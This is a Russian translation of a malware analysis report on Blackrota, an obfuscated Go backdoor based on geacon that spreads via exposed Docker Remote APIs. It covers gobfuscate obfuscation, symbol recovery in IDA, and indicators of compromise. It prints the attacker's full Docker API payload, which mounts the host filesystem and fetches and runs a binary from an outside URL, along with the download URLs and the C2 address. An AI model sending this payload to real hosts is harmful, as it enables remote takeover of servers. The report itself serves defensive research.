Самый обфусцированный ELF вредонос на Go, который мы встречали на сегодняшний день.

Предисловие

Недавно вредоносный бэкдор, написанный на Go, который эксплуатировал уязвимость несанкционированного доступа в Docker Remote API, был пойман на Honeypot Anglerfish.

Мы назвали его Blackrota, так как его С2 домен blackrota.ga.

В настоящий момент бэкдор Blackrota доступен только для Linux, в ELF формате и поддерживает x86/x86-64 архитектуры.

Blackrota сконфигурирован и скомпилирован на основе geacon - CobaltStrike Beacon реализации на языке Go, используемого в качестве CobaltStrike Beacon, который взаимодействует с CobaltStrike для управления скомпрометированным хостом:

Однако, это только реализация некоторых ключевых функций оригинального CobaltStrike Beacon:

  • CMD_SHELL: выполнение Shell комманд,

  • CMD_UPLOAD: загрузка файлов,

  • CMDDOWNLOAD: загрузка специальных файлов,

  • CMD_FILE_ROWSE: просмотр файла,

  • CMD_CD: изменение директории,

  • CMD_SLEEP: установка времени задержки сна,

  • CMD_PWD: возврат текущей директории,

  • CMD_EXIT: выход.

В отличие от оригинального geacon, Blackrota использует gobfuscate - для обфускации исходного кода до момента компиляции. Gobfuscate - это программа с открытым исходным кодом для обфускации Go-кода, который может обфусцировать следующие элементы Go-кода со случайной заменой символов:

  • Имена пакетов;

  • Глобальные переменные;

  • Имена функций;

  • Типы;

  • Имена методов.

В дополнение, gobfuscate заменяет все строки в коде на строки с XOR кодированием, назначая каждой строке функцию декодирования XOR, которая динамически декодирует строки во время выполнения программы.

Язык программирования Go использует полностью статическую линковку для построения бинарных файлов. Как результат, весь код, используемый в стандартных и сторонних библиотеках, упаковывается в бинарные файлы, имеющие очень большой размер. Эта характеристика, с точки зрения обратного анализа, означает, что при открытии двоичного файла Go при дизассемблировании вы увидите тысячи или даже десятки тысяч функций. Если эти функции не имеют соответствующей символики, будет трудно провести обратный анализ бинарных файлов Go.

Хорошая новость в том, что Go имеет еще один механизм: при сборке бинарного файла как RTSI (Runtime Symbol Information) так и RTTI (Runtime Type Information) упаковываются в двоичный файл и не могут быть удалены. В данный момент, почти все специальные инструменты для реверсинга бинарных файлов Go, чтобы помочь процессу анализа, пытаются восстановить эту информацию из бинарных файлов Go. Проекты Go часто импортируют множество сторонних пакетов с открытым исходным кодом. В общем, восстановленные RTSI и RTTI приведут нас к соответствующему пакету с открытым исходным кодом, затем мы сможем прочитать исходный код сторонних пакетов, что еще больше повысит эффективность дизассемблирования.

Blackrota использует gobfuscate для обфускации символов и типов, которые являются "life-door" для инструментов дизассемблирования. Символьная информация становится нечитаемой и невозможно понять смысл этой информации и ее тип, так же невозможно узнать, какие сторонние пакеты были импортированы в проект. Это делает процесс дизассемблирования более сложным.

Исторически, мы видели вредоносы написанные на Go, которое в лучшем случае были удалены символы во время компиляции, а в худшем - слегка запутывались, которые дизассемблировались без особого труда. Blackrota - это новый подход к обфускации и является самым обфусцированым вредоносом на Go в ELF формате, который мы нашли на сегодняшний день.

Анализ

Распространение Blackrota

Автор Blackrota использует несколько полезных нагрузок для несанкционированного использования удаленного API Docker. Типичная упрощенная полезная нагрузка выглядит следующим образом:

POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}

При успешной загрузке 32/64 битная версия Blackrota может быть загружена со следующих URL адресов:

https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64

Бэкдор Blackrota

Как описано выше, бэкдор Blackrota был написан на языке Go. С помощью нашего go_parser в IDAPro, мы можем сказать, что она была скомпилирована на Go1.15.3, с GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec". В дополнение к этим двум фактам, проанализированные пути к исходным файлам, имена функций, глобальных переменных, типов данных и методов, привязанные к данным, запутаны случайными заменами символов и не читаемы.

Мы можем посмотреть пути к исходному файлу, участвующему в проекте (директория с исходным файлом назван случайной строкой)

/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go

Наименование функций в Blackrota

Из вышеизложенных результатов анализа, самой большой проблемой для дизассемблировании является то, что имена функций, типов и методов из исходного кода сторонних пакетов, импортированных из образца Blackrota обфусцируются в бессмысленные случайные символы.

Список части функций после анализа:

Объявление обфусцированного типа данных:

В дополнение, все еще существуют имена методов, привязанные к типам данных, которые обфусцированы не полностью:

С тысячами случайно именованных строковых функций и большим количеством случайно именованных типов данных, методов и глобальных переменных, мы не могли быть уверены, какие сторонние Go пакеты будут использованы внутри образца, что делало дальнейшее дизассемблирование практически невозможным. В конце концов, после некоторого тщательного анализа, мы обнаружили, что образец Blackrota был скомпилирован из geacon.

Таким образом, мы можем попытаться восстановить символы функций в образце Blackrota, используя следующие шаги:

  1. Скомпилировать двоичный файл geacon с подобной архитектурой процессора как образец Blackrota, без удаления символов,

  2. используя idb2pat.py в IDAPro извлечь шаблон (geacon.pat) geacon-функций,

  3. использовать sigmake из Flair Tools чтобы создать файл подписи для geacon (geacon.sig),

  4. импортировать geacon.sig в образец Blackrota в IDAPro, идентифицировать и восстановить символы в функциях.

Прогресс есть! Но радоваться еще рано, потому что мы выяснили, что символы в функциях распознаются не полностью, и есть около сотни функций, которые не покрываются geacon-символами, часть из которых распознается следующим образом:

Строки в Blackrota

В приведенном выше анализе мы увидели, что только очень немногие строки, используемые в стандартных пакетах Go, анализируются в Blackrota, в то время как строки внутри geacon не анализируются. Проблема заключается в вышеприведенных функциях, которые не охватываются geacon.

Из нашего анализа мы видим, что Blackrota кодирует с помощью XOR все строки, которые он использует внутри, и динамически декодирует строки во время выполнения, чтобы ссылаться на них. Для каждой строки существует функция декодера XOR. gobfuscate генерирует случайный ключ XOR той же длины, что и строка, решает строку символов и возвращает ее, а решенная строка ссылается на родительскую функцию. Одна из ключевых частей функции декодирования XOR показана на следующем рисунке:

Если мы хотим декодировать все строки, нам необходимо найти каждую функцию кодирования строк, найти закодированные байты и ключ XOR и решить строки с помощью алгоритма XOR. Это увеличит объем работы по дизассемблированию, а также поможет программе в некоторой степени избежать автоматического обнаружения продуктов безопасности.

Заключение

Обфусцированный вредонос, написанный на Go, встречается редко, за исключением нескольких простых попыток белых шляп, но только две были замечены раньше. Одна из них - это программа вымогатель, обнаруженная @joakimkennedy, которая только запутывает символы функций в пакете main:

Эта программа просто запутывает имена нескольких функций в пакете main и вряд ли вызовет какие-либо проблемы при дизассемблировании:

Другой - еще один вымогатель EKANS, который использует тот же метод обфускации, что и Blackrota:

Метод обфускации, используемый во вредоносах Blackrota и EKANS, создают новые вызовы/проблемы для дизассемблирования. По мере того, как язык Go становится более популярным, все больше и больше вредоносных программ будут написаны на Go в будущем, мы будем следить за тем, что будет происходить.

IoCs

MD5:

e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa

C&C:

blackrato.ga    165.227.199.214    ASN: 14061|DigitalOcean,_LLC

P.S. Статья опубликована с разрешения автора. Мой первый перевод, прошу отнестись с пониманием.